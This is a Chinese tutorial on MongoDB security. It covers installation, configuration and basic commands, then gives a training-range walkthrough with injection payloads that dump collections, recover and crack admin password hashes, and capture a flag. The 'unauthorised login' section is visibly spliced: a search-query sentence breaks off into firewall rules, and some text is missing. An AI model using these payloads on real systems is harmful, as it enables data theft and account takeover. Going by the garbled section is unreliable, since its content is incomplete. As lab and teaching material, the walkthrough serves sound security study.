数据库攻防之MongoDB

访客 328 0
本文来源:特mac0x01

MongoDB是一个安全性相对较高的非关系型数据库,它的安全问题主要出现在使用、配置过程当中。目前随着MongoDB的流行,它也成为了红队攻防领域不可忽视的数据库。

0x01 MongoDB简介

MongoDB 是一个由C++编写、基于分布式文件存储的开源数据库系统,旨在为 web 应用提供可扩展的高性能数据存储解决方案。它将数据存储为一个文档,数据结构由键值对组成,文档类似于 JSON 对象。字段值可以包含其他文档、数组以及文档数组。

{
    name: "mac",
    age: "20",
    job: "pentestor",
    habits: ["music", "pentest"]
}

MongoDB是一个面向文档存储的数据库,默认端口是27017。与此同时它作为最像关系型数据库的非关系型数据库,操作起来也相对比较简单,以下为 MongoDB 的特点及优点:

1、MongoDB可在本地或网络中创建数据镜像,这使得它拥有更强的扩展性。
2、MongoDB支持丰富的查询表达式,查询指令使用JSON形式的标记,可轻易查询文档中内嵌的对象及数组。
3、MongoDB支持各种编程语言,包括Ruby、Python、Java、PHP、C#等。
4、MongoDB使用Map/Reduce来对数据进行批量处理和聚合操作,Map函数调用emit(kr,value)遍历集合中的所有记录,将key、value传递给Reduce进行处理。
5、MongoDB安装、操作非常简单。

由于NoSQL数据库适用于超大规模数据的存储,因此使用NoSQL数据库的场景也越来越多,例如我们熟知的Google、Facebook等全球大型互联网公司都在使用它来处理数以万计的数据信息。而MongoDB作为NoSQL数据库,它的的安全性主要由组成生态系统的各个部分共同负责。虽然MongoDB中具有一些内置的安全功能,但是由于在使用过程中会出现配置错误、更新不及时等问题,从而有可能导致漏洞的产生。

0x02 MongoDB安装

MongoDB安装配置

Windows下安装

下载地址:https://www.mongodb.com/download-center/community
目前市场上 MongoDB 的主流版本是3.4和3.6,但我们在本地以4.x为例进行安装。在官网中提供了可用于32位和64位系统的预编译二进制包,需要注意的是MongoDB2.2之后的版本已经不再支持Windows XP系统了。
数据库攻防之MongoDB-第1张图片-网盾网络安全培训

MongoDB为Windows提供了两种安装方式,分别是msi和zip方式。前者方便快捷,但只推荐4.0版本以上使用该方式进行安装,这主要是因为4.x版本对msi安装方式进行了优化,而3.x和更低的版本都需要在安装完毕后手动进行配置。后者解压即安装,相对来说比较灵活,可以将其安装至任意目录。以下则是不同WIndows系统版本适合的MongoDB版本信息:

1. MongoDB for Windows 64-bit 适合 64位 Windows Server 2008 R2, Windows 7 ,以及最新版本的Windows系统
2. MongoDB for Windows 32-bit 适合 32位 的Window 系统及最新的Windows Vista,32位系统的的MongoDB最大数据库位2GB
3. MongoDB for Windows 64-bit Legacy 适合 64位 的 Windows Vista, Windows Server 2003, ݊ Windows Server 2008

双击运行即可使用 msi 方式安装 MongoDB
数据库攻防之MongoDB-第2张图片-网盾网络安全培训
通过Custom自定义安装目录
数据库攻防之MongoDB-第3张图片-网盾网络安全培训
数据库攻防之MongoDB-第4张图片-网盾网络安全培训
选择不安装compass(MongoDB图形化管理工具),如果安装的话会需要花费较多的时间
数据库攻防之MongoDB-第5张图片-网盾网络安全培训
安装完成
数据库攻防之MongoDB-第6张图片-网盾网络安全培训

MongoDB的bin目录中存在两个应用,分别是mongo.exemongod.exe,分别是MongoDB的客户端软件以及服务端软件。
数据库攻防之MongoDB-第7张图片-网盾网络安全培训

与此同时将 MongoDB 的bin目录添加至环境变量中
数据库攻防之MongoDB-第8张图片-网盾网络安全培训

编写配置文件mongod.cfg(MongDB 3.x中不包含该文件,需要自己创建目录来制作服务),以便于后续以配置文件的方式启动 MongoDB 服务

systemLog:
    destination: file //设置日志存储文件
    path: C:\mongodb\log\mongodb.log  //设置日志存储位置
    logAppend: true //设置日志是否以追加形式记录

storage:
    journal: 
        enabled: true //设置是否回滚日志
    dbPath: C:\mongodb\data //设置数据存储目录

net:
    port: 27017 //绑定端口
    bindIp: 127.0.0.1 //绑定IP,如果需要远程登录需要配置本地IP

数据库攻防之MongoDB-第9张图片-网盾网络安全培训

为了能在终端中可以通过net命令来管理MongoDB,我们可以将 MongoDB 服务添加至服务中去,当然前提是我们要以管理员身份执行终端。

mongod --config "c:\Program Files\MongDB\Server\4.0\bin\mongod.cfg" --install

如果出现以下错误,解决方法是重新编写配置文件并在其中使用空格代替tab
数据库攻防之MongoDB-第10张图片-网盾网络安全培训

完成后 Windows 便有了 MongoDB 服务,我们可以在服务中来管理 MongoDB,包括开机启动、设置启动方式等。
数据库攻防之MongoDB-第11张图片-网盾网络安全培训
我们以管理员身份打开终端启动 MongoDB

net start mongodb //启动MongoDB
net stop mongodb //停止MongoDB

如果需要移除 MongDB 服务可以使用以下命令

C:\mongodb\bin\mongod.exe --remove

运行命令可直接进入 MongoDB 数据库当中

mongo

默认连接到test数据库,饿哦吗能够在其中完成一些简单的算术运算

mongo
> db
> 1+1

尝试插入数据并查看已插入的数据

> db.data.insert({"user":"mac"})
> db.data.find()

数据库攻防之MongoDB-第12张图片-网盾网络安全培训

Linux下安装

在 Linux 中安装 MongoDB 与 Windows 类似,首先导入 MongDB 的公共GPG密钥

wget -qO - https://www.mongodb.org/static/pgp/server-4.4.asc | sudo apt-key add -

如果出现 gnupg 未安装的错误,可安装 gnupg 解决

apt-get install gnupg

完成后再次导入密钥并为 MongoDB 创建文件

echo "deb http://repo.mongodb.org/apt/debian buster/mongodb-org/4.4 main" | sudo tee /etc/apt/sources.list.d/mongodb-org-4.4.list

数据库攻防之MongoDB-第13张图片-网盾网络安全培训

通过 apt 命令更新本地软件数据包

sudo apt-get update

准备工作完成后我们开始安装MongoDB

apt-get install -y mongodb-org //安装最新稳定版
apt-get install -y mongodb-org=4.4 mongodb-org-server=4.4 mongodb-org-shell=4.4 mongodb-org-mongos=4.4 mongodb-org-tools=4.4 //安装指定版

数据库攻防之MongoDB-第14张图片-网盾网络安全培训

需要注意的是如果仅指定mongodb-org=4.4,那么无论指定哪个版本都会安装每个 MongoDB 包中的最新版本。可使用以下命令查看可选版本

echo "mongodb-org hold" | sudo dpkg --set-selections 
echo "mongodb-org-server hold" | sudo dpkg --set-selections 
echo "mongodb-org-shell hold" | sudo dpkg --set-selections 
echo "mongodb-org-mongos hold" | sudo dpkg --set-selections
echo "mongodb-org-tools hold" | sudo dpkg --set-selections

大多数类 Unix 系统都提供了基于每个进程和每个用户来限制和控制系统资源(例如线程,文件和网络连接)使用的方法。虽然这些限制可防止单个用户使用过多的系统资源,但有时这些限制的默认值较低,可能会在MongoDB正常运行时产生许多问题,因此我们可根据需要进行调整。

启动MongoDB

sudo systemctl start mongod

如果在启动时出现以下错误

Failed to start Mongod.service:Unit mongod.service not found

可以使用以下命令解决并在完成后重新启动

sudo systemctl daemon-reload

查看 MongoDB 是否已启动

sudo systemctl status

数据库攻防之MongoDB-第15张图片-网盾网络安全培训

为 MongoDB 配置开机启动

sudo systemctl enable mongod

使用以下命令可停止或重启MongoDB

sudo systemctl stop mongod
sudo systemctl restart mongod

当然在/var/log/mongodb/mongod.log中存放着MongoDB的日志,如果需要删除可使用以下命令删除整个数据库日志目录

sudo rm -r /var/log/mongodb

MongoDB连接

Windows下连接

下载地址:https://www.mongodb.com/download-center/compass
我们可安装数据库图形化管理工具compass来方便地管理 MongoDB,点击新建连接即可连接数据库
数据库攻防之MongoDB-第16张图片-网盾网络安全培训
如果 MongoDB 服务未开启,可使用以下方法开启 MongoDB 服务

mongod -dbpath c:\mongdb\data\db

查看数据库所拥有的角色

> use admin
> show roles

数据库攻防之MongoDB-第17张图片-网盾网络安全培训

新建连接用户并授权

> db.createUser({user:"mac",pwd:"123456",roles:[{"role":"dbAdmin","db":"admin"},{ "role":"backup","db":"admin"}]})
> db.auth("mac","123456")

数据库攻防之MongoDB-第18张图片-网盾网络安全培训

成功在本地登录 MongoDB

mongo -u mac -p 123456 localhost:27017/admin

数据库攻防之MongoDB-第19张图片-网盾网络安全培训
除了使用本地登录外,更多情况下我会选择使用 navicat 来远程登录,前提是我们需要在配置文件mongod.cfg中将bindIp设置为0.0.0.0,设置完成后需重启服务
数据库攻防之MongoDB-第20张图片-网盾网络安全培训

Navicat 远程连接成功
数据库攻防之MongoDB-第21张图片-网盾网络安全培训

账号管理扩展命令:

> db.updateUser("root",{roles:[{role:"readWriteAnyDatabase",db:"admin"}]}) //修改用户权限
> db.changeUserPassword("username","新密码") //修改用户密码
> db.dropUser('test') //删除用户

参考文章:

https://www.jianshu.com/p/f5afc6488f9e
MongDB命令参考:

https://www.runoob.com/mongodb/mongodb-databases-documents-collections.html

Linux下连接

MongoDB配置文件默认设置 bindIp 为127.0.0.1,因此默认情况下 MongoDB 只能接受本地连接。如果需要远程连接,我们可以在 MongoDB 配置文件/etc/mongdb.conf下设置bindIp 为0.0.0.0,需要注意的是 MongoDB 2.x 与 3.x 配置文件格式有点不同,以下为3.x版本

sudo gedit /etc/mongod.conf
sudo systemctl restart mongod
# 连接配置
bindIP:0.0.0.0

数据库攻防之MongoDB-第22张图片-网盾网络安全培训

使用 Navicat 远程连接成功
数据库攻防之MongoDB-第23张图片-网盾网络安全培训

0x03 MongoDB基础用法

MongoDB 可以拥有多个数据库,每个数据库包含一个或多个集合(collections),每个集合包含一个或多个文档(documents),通过命令mongo可进入数据库当中

基础操作

创建数据库
如果数据库存在则直接进入数据库,否则会创建新的数据库

use macdb

查看当前数据库

> db

检查数据库列表

> show dbs

数据库攻防之MongoDB-第24张图片-网盾网络安全培训

数据插入
插入一些数据

> db.data.insert({"user":"mac"})
> db.data.insert({"user":"mac","age":13})
> db.data.insert({"user":"tom","age":20})

数据库攻防之MongoDB-第25张图片-网盾网络安全培训

数据查询
查询全部数据

> db.data.find()

查询特定数据

> db.data.find({"age":13})

数据库攻防之MongoDB-第26张图片-网盾网络安全培训

数据删除
使用 remove 方法可按特定条件从集合中删除文档

> db.data.remove({"age":13})
> db.data.find()

数据库攻防之MongoDB-第27张图片-网盾网络安全培训

如果需要删除集合可以通过以下方式

show collections
db.data.drop()
show collections

数据库攻防之MongoDB-第28张图片-网盾网络安全培训
删除数据库

db.dropDatabase()

数据库攻防之MongoDB-第29张图片-网盾网络安全培训

扩展:自搭渗透环境

熟悉了 MongoDB 的基础操作后,我们可搭建一个实验环境来测试 MongoDB 数据库,使用 kali 来模拟生产机器并安装 MongDB 、php以及web应用程序,假设web环境已经搭建好,那么尝试配置数据库

创建数据库

> use mac
> db

插入数据

将测试数据插入集合usersproducts当中

> db.users.insert({"username":"tom","password":"tom"})
> db.users.insert({"username":"jim","password":"jim"})
> db.users.insert({"username":"bob","password":"bob"})
> db.products.insert({"email":"tom@gmail.com","price":"1500USD"}
  )
> db.products.insert({"email":"jim@gmail.com","price":"50USD"})
> db.products.insert({"email":"bob@gmail.com","price":"4500USD"})

安装MongoDB驱动

PHP web应用程序使用 MongoDB 的前提需安装对应的驱动,否则无法调用

sudo apt-get install php-pear
sudo pecl install mongo
sudo apt-get install php-mongodb

0x04 MongoDB渗透

SQL注入

这里以墨者靶场为例,源码如下:
数据库攻防之MongoDB-第30张图片-网盾网络安全培训

靶场漏洞地址如下:

http://219.153.49.228:45718/new_list.php?id=1

数据库攻防之MongoDB-第31张图片-网盾网络安全培训

常规情况下通过单引号判断注入,返回不同页面说明存在注入点

/new_list.php?id=1'

数据库攻防之MongoDB-第32张图片-网盾网络安全培训

构造 payload 测试回显内容

/new_list.php?id=1'});return ({title:1,content:'2

数据库攻防之MongoDB-第33张图片-网盾网络安全培训

成功爆出数据库名为mozhe_cms_Authority

/new_list.php?id=1'});return ({title:tojson(db),content:'1

数据库攻防之MongoDB-第34张图片-网盾网络安全培训

成功爆出集合名,分别为noticeAuthority_confidentialsystem.indexes

new_list.php?id=1'});return ({title:tojson(db.getCollectionNames()),content:'1

数据库攻防之MongoDB-第35张图片-网盾网络安全培训

针对集合Authority_confidential爆出对应文档

new_list.php?id=1'});return ({title:tojson(db.Authority_confidential.find()[0]),content:'1
new_list.php?id=1'});return ({title:tojson(db.Authority_confidential.find()[1]),content:'1

数据库攻防之MongoDB-第36张图片-网盾网络安全培训
数据库攻防之MongoDB-第37张图片-网盾网络安全培训

成功拿到用户名为mozhe,两个密码经过md5解密后如下:

0eae21a0d4eb17267a0981af5f8f0397: 179303
a83cd5ad5ed3e1c5597441aaab289f5c: dsansda

使用mozhe/dsansda可登录应用
数据库攻防之MongoDB-第38张图片-网盾网络安全培训

成功拿到flag:mozhe0500ad3c303c29201bbe1dbef89
数据库攻防之MongoDB-第39张图片-网盾网络安全培训

未授权登录

通过 fofa 可导出 mongodb 数据库的IP地址,搜索语句如下:

"mongodb" ip-address> -p tcp --destination-port 27017 -m state --state NEW,ESTABLISHED -j ACCEPT //进站规则
iptables -A OUTPUT -d ip-address> -p tcp --source-port 27017 -m state --state ESTABLISHED -j ACCEPT //出站规则

如果服务器为windows,那么可以设置服务和命令开启防火墙配置

3、基于角色的登录认证功能

> use admin
> db.createUser(
    {
      user: "myUserAdmin",
      pwd: "Passw0rd",
      roles: [ { role: "userAdminAnyDatabase", db: "admin" } ]
    }
)

在3.0之前的版本需要通过addUser来创建方法,在cfg文件进行开启认证

security:
    authorization: enabled

启动MongDB

mongod --config /etc/mongod.conf

之后通过密码连接本地数据库

mongo --port 27017 -u "myUserAdmin" -p "Passw0rd" --authenticationDatabase "admin"

在MongDB中也可以通过auth()函数来认证身份信息

发表评论 (已有0条评论)

还木有评论哦,快来抢沙发吧~